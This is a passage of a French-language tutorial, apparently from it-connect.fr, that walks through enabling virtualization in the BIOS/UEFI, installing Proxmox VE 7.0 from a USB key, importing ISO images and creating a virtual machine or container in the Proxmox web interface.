<p><strong>Attention</strong> : la clé USB sera formatée alors pensez à sauvegarder vos données.</p>
<ul>
<li><a href="https://rufus.ie/fr/" target="_blank" rel="nofollow noopener">Télécharger Rufus</a></li>
</ul>
<h3>C. Configuration du BIOS/UEFI</h3>
<p>Sur votre serveur, certaines modifications vont devoir être apportées à la configuration de votre BIOS ou UEFI (pour les configurations ayant des versions de firmware plus récent).</p>
<p>Recherchez sur le site constructeur ou fabriquant de la carte mère, la touche permettant d’accéder à votre BIOS/UEFI. Les touches les plus courantes pour accéder au BIOS/UEFI sont :<strong> F1, F2, F10, Delete, Esc</strong></p>
<p>Mais aussi, dans certain cas, la combinaison de touches peut être : <strong>Ctrl + Alt + Esc</strong> ou <strong>Ctrl + Alt + Delete</strong>, bien que celles-ci soient plus courantes sur les anciennes machines. Notez également qu'une touche comme F10 peut en fait lancer autre chose, comme le menu de démarrage (<em>Boot menu</em>).</p>
<p>Comme je le disais, afin de permettre la virtualisation il est nécessaire d’<strong>activer des fonctionnalités telles que la technologie de virtualisation,</strong> appelée :</p>
<ul>
<li><strong>VT-x</strong> ou <strong>Virtualization Technology</strong> chez <strong>Intel</strong></li>
<li><strong>AMD-V</strong> ou <strong>SVM</strong> ou <strong>Secure Virtual Machine</strong> Mode chez <strong>AMD</strong></li>
</ul>
<p>Ensuite, il sera possible, si nécessaire de <strong>modifier les options du sélecteur d’amorçage</strong> (Boot), en indiquant l’ordre d’amorçage et en mettant<strong> la clé USB en 1re position</strong> ; certaines cartes mères dispose directement d’un bouton permettant de choisir le mode de boot. <strong>Cela évite de modifier de manière permanente la configuration de l'ordre de démarrage.</strong></p>
<p>Si vous désirez modifier l'ordre de démarrage, suivez ce qui suit. Sinon, trouvez la touche qui permet d'accéder au Boot Menu de votre machine.</p>
<p>L'objectif est de venir positionner notre clé USB sur la ligne "<strong>1st Boot Device</strong>". Elle correspond à l'entrée "<strong>Removable Device</strong>", mais dans certains cas, vous pouvez avoir le nom de la clé USB qui s'affiche.</p>
<p><img class="aligncenter size-large wp-image-46324" src="media/19f9ed17.boot-menu-priority-proxmox-01-800x222.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-800x222.jpg" alt="" width="800" height="222" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-800x222.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-550x152.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-150x42.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-768x213.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-160x44.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01-50x14.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-01.jpg 812w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Quand c'est fait, sauvegardez et quittez.</p>
<p><img class="aligncenter size-full wp-image-46323" src="media/0520c4ab.boot-menu-priority-proxmox-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02.jpg" alt="" width="800" height="570" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02-550x392.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02-768x547.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02-160x114.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/boot-menu-priority-proxmox-02-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>La machine va redémarrer et elle devrait lancer la clé USB : le processus d'installation de Proxmox va pouvoir commencer.</p>
<h2>III. Installation de Proxmox VE 7.0</h2>
<p><strong>Voilà, l'interface de Proxmox s'affiche !</strong> Nous allons procéder à l'installation. Sélectionnez "<strong>Install Proxmox VE</strong>" dans la liste.</p>
<p>Pour ceux qui connaissent déjà Proxmox, sachez que le processus d'installation reste le même entre la version 7.0 et la version précédente.</p>
<p><img class="aligncenter size-full wp-image-46325" src="media/a6b1a5d8.tuto-installer-proxmox-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01.jpg" alt="" width="768" height="457" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01-550x327.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01-150x89.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01-160x95.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-01-50x30.jpg 50w" sizes="(max-width: 768px) 100vw, 768px" /></p>
<p>Acceptez le contrat de licence utilisateur et poursuivez.</p>
<p><img class="aligncenter size-full wp-image-46326" src="media/28fab42e.tuto-installer-proxmox-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02.jpg" alt="" width="581" height="440" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02.jpg 581w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02-550x417.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02-160x121.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-02-50x38.jpg 50w" sizes="(max-width: 581px) 100vw, 581px" /></p>
<p>Sélectionnez le disque qui accueillera le système (<em>dans mon cas je n’ai qu’un seul disque dur, tout du moins le jour de cette installation</em>).</p>
<p><strong>L’opération devient un poil plus complexe dès lors que l’on souhaite avoir le système d’un côté et le stockage de l’autre), ou que l’on souhaite ajouter un disque supplémentaire pour faire des sauvegardes</strong>, cela fera probablement l’objet d’un tutoriel spécifique.</p>
<p><img class="aligncenter size-full wp-image-46329" src="media/423b9636.tuto-installer-proxmox-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03.jpg" alt="" width="568" height="423" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03.jpg 568w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03-550x410.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03-150x112.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03-160x119.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-03-50x37.jpg 50w" sizes="(max-width: 568px) 100vw, 568px" /></p>
<p>Sélection du pays et de la région que vous souhaitez.</p>
<p><img class="aligncenter size-full wp-image-46328" src="media/e2f67898.tuto-installer-proxmox-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04.jpg" alt="" width="599" height="448" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04.jpg 599w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04-550x411.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04-150x112.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-04-50x37.jpg 50w" sizes="(max-width: 599px) 100vw, 599px" /></p>
<p>Ajout d’un mot de passe pour le super-utilisateur "root" et d’une adresse de courriel.</p>
<p><img class="aligncenter size-full wp-image-46327" src="media/b02220ed.tuto-installer-proxmox-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05.jpg" alt="" width="693" height="522" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05.jpg 693w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05-160x121.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-05-50x38.jpg 50w" sizes="(max-width: 693px) 100vw, 693px" /></p>
<p>Configuration du réseau, vous devez :</p>
<ul>
<li>Sélectionner la carte réseau, dans le cas où votre serveur a plusieurs interfaces</li>
<li>Spécifier le nom de domaine, vous pouvez reprendre le nom de domaine de votre infrastructure locale</li>
<li>Spécifier l’adressage IP, pour ma part ce sera en concordance avec mon FAI (Orange)</li>
</ul>
<p>Voici ce que j'obtiens de mon côté :</p>
<p><img class="aligncenter size-large wp-image-46333" src="media/de99e389.tuto-installer-proxmox-06-800x602.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-800x602.jpg" alt="" width="800" height="602" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-06.jpg 970w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Avant de cliquer sur le bouton "<strong>Install</strong>", prenez connaissance du résumé qui s'affiche à l'écran et vérifiez que tout est OK.</p>
<p><img class="aligncenter size-full wp-image-46332" src="media/8c1343d6.tuto-installer-proxmox-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07.jpg" alt="" width="704" height="529" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07.jpg 704w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-07-50x38.jpg 50w" sizes="(max-width: 704px) 100vw, 704px" /></p>
<p>Patientez pendant l'installation de Proxmox.</p>
<p><img class="aligncenter size-full wp-image-46334" src="media/fd4f0f24.tuto-installer-proxmox-09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09.jpg" alt="" width="768" height="548" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09-550x392.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09-160x114.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-09-50x36.jpg 50w" sizes="(max-width: 768px) 100vw, 768px" /></p>
<p>Une fois l'installation terminée, vous obtenez le message "<strong>Installation successful !</strong>".</p>
<p><img class="aligncenter size-full wp-image-46331" src="media/4dae8863.tuto-installer-proxmox-08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08.jpg" alt="" width="704" height="532" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08.jpg 704w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08-550x416.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08-160x121.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-08-50x38.jpg 50w" sizes="(max-width: 704px) 100vw, 704px" /></p>
<p>Ensuite, vous pouvez <strong>accéder à votre serveur Proxmox à partir d'un navigateur et de son adresse IP</strong> :</p>
<pre>https://&lt;adresse-ip-proxmox&gt;:8006</pre>
<p>L'accès est possible en ligne de commande directement sur le serveur, mais je vous propose de basculer sur votre poste de travail pour accéder à votre serveur Proxmox et poursuivre ce tutoriel. <strong>Authentifiez-vous sur l'interface Web de Proxmox avec le compte "root"</strong> et le mot de passe défini lors de l'installation.</p>
<p><img class="aligncenter size-large wp-image-46369" src="media/c36e8946.tuto-installer-proxmox-27-800x356.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-800x356.jpg" alt="" width="800" height="356" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-800x356.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-550x245.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-768x342.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27-50x22.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-27.jpg 1026w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Précisions concernant l'option "Realm" du formulaire d'authentification</strong> :</p>
<ul>
<li><strong>PAM</strong> est le module d'authentification enfichable utilisé dans les systèmes d'exploitation Linux/UNIX/BSD pour stocker les informations de l'utilisateur local. Il est stocké au niveau du système et délègue l'autorisation de se connecter à une machine. C'est le module par défaut sous Linux.</li>
<li><strong>PVE</strong> est une base de données stockée dans Proxmox qui stocke des informations sur les utilisateurs pouvant se connecter à l'interface Web de Proxmox. Elle n'accorde pas d'autorisation pour des choses comme la connexion SSH ou Shell au système d'exploitation sous-jacent, au lieu de cela, il délègue uniquement l'autorisation de se connecter aux interfaces Proxmox, comme la WebGUI ou l'API.</li>
</ul>
<p><img class="aligncenter size-full wp-image-46336" src="media/f08bf3e2.tuto-installer-proxmox-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-11.jpg" alt="" width="339" height="166" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-11.jpg 339w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-11-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-11-160x78.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-11-50x24.jpg 50w" sizes="(max-width: 339px) 100vw, 339px" /></p>
<h2>IV. Importer un fichier ISO dans Proxmox</h2>
<p>Afin de pouvoir installer les systèmes d’exploitation sur nos différentes machines virtuelles, nous devons au préalable <strong>télécharger les images système (ISO) et les importer dans Proxmox.</strong></p>
<p>Pour cela, Proxmox dispose d’un élément assez sympa je trouve, une sorte de banque où seront stockés toutes vos images. Procédez comme ceci :</p>
<p><b>Sélectionnez votre nœud puis le stockage</b> (local, dans notre cas).</p>
<p><img class="aligncenter size-large wp-image-46370" src="media/4a2d9a5d.tuto-installer-proxmox-28-800x417.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-800x417.png" alt="" width="800" height="417" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-800x417.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-550x286.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-768x400.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-160x83.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-28.png 814w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Cliquez sur "<strong>ISO Images</strong>", puis sur le bouton "<strong>Upload</strong>" et recherchez l’image à importer sur votre disque local.</p>
<p><img class="aligncenter size-large wp-image-46372" src="media/eaaf3057.tuto-installer-proxmox-29-800x230.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-800x230.png" alt="" width="800" height="230" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-800x230.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-550x158.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-150x43.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-768x221.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-160x46.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29-50x14.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-29.png 814w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Répéter l’opération autant de fois que nécessaire selon la quantité d’images ISO à importer, la seule limite c’est votre espace de stockage.</p>
<h2>V. Créer une machine virtuelle sous Proxmox</h2>
<p>Pour créer une nouvelle machine virtuelle, il faut cliquer sur le bouton "<strong>Create VM</strong>" en haut à droite de l’interface.</p>
<blockquote><p><strong>Attention</strong> : sur cette capture d'écran, on peut voir que je suis connecté en root : il vaut mieux éviter. Il est préférable de se connecter avec un compte PVE admin. Le seul moment où vous pourriez avoir besoin du compte root, c’est pour l’ajout d’une clé USB à vos/votre VM, car sauf erreur de ma part, il n’existe pas de rôle permettant d’intégrer cette action.</p></blockquote>
<p><img class="aligncenter size-full wp-image-46342" src="media/39fb574b.tuto-installer-proxmox-12.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12.jpg" alt="" width="614" height="42" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12.jpg 614w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12-550x38.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12-150x10.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12-160x11.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-12-50x3.jpg 50w" sizes="(max-width: 614px) 100vw, 614px" /></p>
<p>À présent, il faut nommer la machine. Dans notre cas, nous avons choisi "<em>debian-9.8-1</em>".</p>
<p>Pour un ordonnancement correct, il sera utile de définir une nomenclature de nommage, je vous propose, ceci :</p>
<ul>
<li>VM-[ID de la VM] – OS-Nom de la machine</li>
<li>CT-[ID du conteneur] – OS-Nom de la machine</li>
</ul>
<p>Le "<strong>Resource Pool</strong>" ne sera utilisé que si vous avez plusieurs emplacements de stockage sur le Proxmox (pour de l’ordonnancement / backup, etc.).</p>
<p><img class="aligncenter size-full wp-image-46341" src="media/2cf2524d.tuto-installer-proxmox-13.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13.jpg" alt="" width="648" height="173" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13.jpg 648w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13-550x147.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13-150x40.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13-160x43.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-13-50x13.jpg 50w" sizes="(max-width: 648px) 100vw, 648px" /></p>
<p>Sélectionnez à présent l’ISO que vous souhaitez installer sur la machine et le type de système correspondant. <strong>Particularité pour une VM freeBSD, on sélectionnera « Other ».</strong></p>
<p>Sachez qu'il est aussi possible d’utiliser directement le lecteur de CD/DVD physique, voir une clé USB directement branchée au serveur.</p>
<p><img class="aligncenter size-full wp-image-46340" src="media/38c611e5.tuto-installer-proxmox-14.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14.jpg" alt="" width="617" height="215" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14.jpg 617w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14-550x192.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14-150x52.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14-160x56.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-14-50x17.jpg 50w" sizes="(max-width: 617px) 100vw, 617px" /></p>
<p><em><strong>Au sujet des conteneurs...</strong></em></p>
<p>Pour ce qui est des conteneurs, c’est un peu différent, les templates déjà préconfiguré sont téléchargeables directement via l’interface. On économise ainsi du temps, mais aussi de l’espace disque.</p>
<p><img class="aligncenter size-large wp-image-46339" src="media/53848c25.tuto-installer-proxmox-15-800x479.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-800x479.jpg" alt="" width="800" height="479" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-800x479.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-550x330.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-768x460.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-160x96.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15-50x30.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-15.jpg 896w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Autre spécificité du conteneur : il demande si vous souhaitez définir un mot de passe dès la création.</p>
<p><img class="aligncenter size-full wp-image-46338" src="media/51266d0f.tuto-installer-proxmox-16.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16.jpg" alt="" width="704" height="251" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16.jpg 704w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16-550x196.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16-150x53.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16-160x57.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-16-50x18.jpg 50w" sizes="(max-width: 704px) 100vw, 704px" /></p>
<p><strong>Fin de la parenthèse. Revenons à notre machine virtuelle...</strong></p>
<p>Sur l’écran suivant, on peut configurer certains aspects du système, en cochant « <strong>Advanced</strong> ». Ainsi, il sera possible de modifier le type de Firmware (BIOS ou UEFI), le type de disque (IDE, SCSI, SATA) et l’émulation SSD, le démarrage automatique, le type de CPU, etc.</p>
<p>Beaucoup d’options à utiliser avec parcimonie et en connaissance de cause, sans quoi votre VM risque de ne pas démarrer si la configuration n'est pas adaptée.</p>
<p><img class="aligncenter size-full wp-image-46337" src="media/11e9b22a.tuto-installer-proxmox-17.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17.jpg" alt="" width="611" height="183" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17.jpg 611w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17-550x165.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17-150x45.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17-160x48.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-17-50x15.jpg 50w" sizes="(max-width: 611px) 100vw, 611px" /></p>
<p>L’étape suivante consiste à configurer le stockage de la machine virtuelle, avec le choix du disque dur, son type et sa taille.</p>
<p><img class="aligncenter size-full wp-image-46347" src="media/a054bddd.tuto-installer-proxmox-18.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18.jpg" alt="" width="677" height="236" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18.jpg 677w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18-550x192.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18-150x52.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18-160x56.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-18-50x17.jpg 50w" sizes="(max-width: 677px) 100vw, 677px" /></p>
<p>À présent, il s’agit de définir les spécifications du CPU, avec éventuellement la possibilité de modifier les vCPU (processeurs virtuels).</p>
<p>Ensuite, nous définissons<strong> la quantité de mémoire RAM allouée à cette VM</strong>, il est alors possible d’allouer une quantité maximale et minimale, permettant de limiter la monopolisation des ressources en fonction de l’utilisation de la machine.</p>
<p><img class="aligncenter size-full wp-image-46346" src="media/ff15b85a.tuto-installer-proxmox-19.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19.jpg" alt="" width="604" height="186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19.jpg 604w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19-550x169.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19-150x46.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19-160x49.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-19-50x15.jpg 50w" sizes="(max-width: 604px) 100vw, 604px" /></p>
<p>La partie Network est assez simple en soi sur une VM, on sélectionne l’interface (<strong>Bridge</strong>) sur laquelle on souhaite avoir la VM et éventuellement le tag du VLAN (<strong>VLAN Tag</strong>).</p>
<p>Cependant, <strong>pour un conteneur les options sont beaucoup plus importantes comme vous pouvez le voir ci-dessous</strong>. En effet, sur un conteneur et contrairement à une VM, il sera possible de définir l'adresse IP, la passerelle par défaut et le DNS.</p>
<p><img class="aligncenter size-full wp-image-46345" src="media/d5818212.tuto-installer-proxmox-20.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20.jpg" alt="" width="696" height="320" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20.jpg 696w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20-550x253.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20-150x69.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20-160x74.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-20-50x23.jpg 50w" sizes="(max-width: 696px) 100vw, 696px" /></p>
